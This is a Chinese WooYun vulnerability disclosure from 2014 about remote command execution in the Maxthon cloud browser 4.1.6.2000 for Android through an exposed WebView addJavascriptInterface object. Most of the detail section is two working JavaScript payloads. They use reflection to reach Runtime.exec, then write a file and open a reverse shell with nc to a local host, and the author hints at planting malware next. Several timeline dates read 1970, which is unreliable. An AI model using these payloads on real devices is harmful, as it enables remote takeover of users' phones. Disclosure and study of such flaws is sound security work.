当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-050031

漏洞标题:傲游云浏览器V4.1.6.2000远程命令执行漏洞(已反弹shell测试)

相关厂商:傲游

漏洞作者: magerx

提交时间:2014-01-29 10:05

修复时间:2014-02-08 10:06

公开时间:2014-02-08 10:06

漏洞类型:远程代码执行

危害等级:中

自评Rank:5

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-29: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2014-02-08: 细节向公众公开

简要描述:

Webview的接口隐患居然还存在

详细说明:

1.下载最新傲游云浏览器V4.1.6.2000,dex2jar+jd-gui:
搜索addJavascriptInterface,可以看到installJsObject的有多个

jd_gui2.png


2.以其中一个readdetect测试本地写文件:

<script>
function execute(testcmd)
{
return readdetect.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(testcmd);
}
try{
execute(["/system/bin/sh","-c","echo 'webview addJavascriptInterface remote command execute' > /sdcard/paxmac.txt"]);
alert("nice!");
}catch(e){
alert(e);
}
</script>


2.png


outfile.png


成功写文件
3.反弹shell测试:

<script>
function execute(cmdtest)
{
return readdetect.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdtest);
}
execute(["/system/bin/sh","-c","nc 192.168.0.100 8888|/system/bin/sh|nc 192.168.0.100 6666"]);
alert("nice shell");
</script>


1.png


shell.png


shell成功反弹,
就测试到这,当然你也继续可以挂马测试...

漏洞证明:

outfile.png


shell.png

修复方案:

尽快修复吧

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-02-08 10:06

厂商回复:

最新状态:

2014-02-24:已知, 感谢报告. 稍后修复.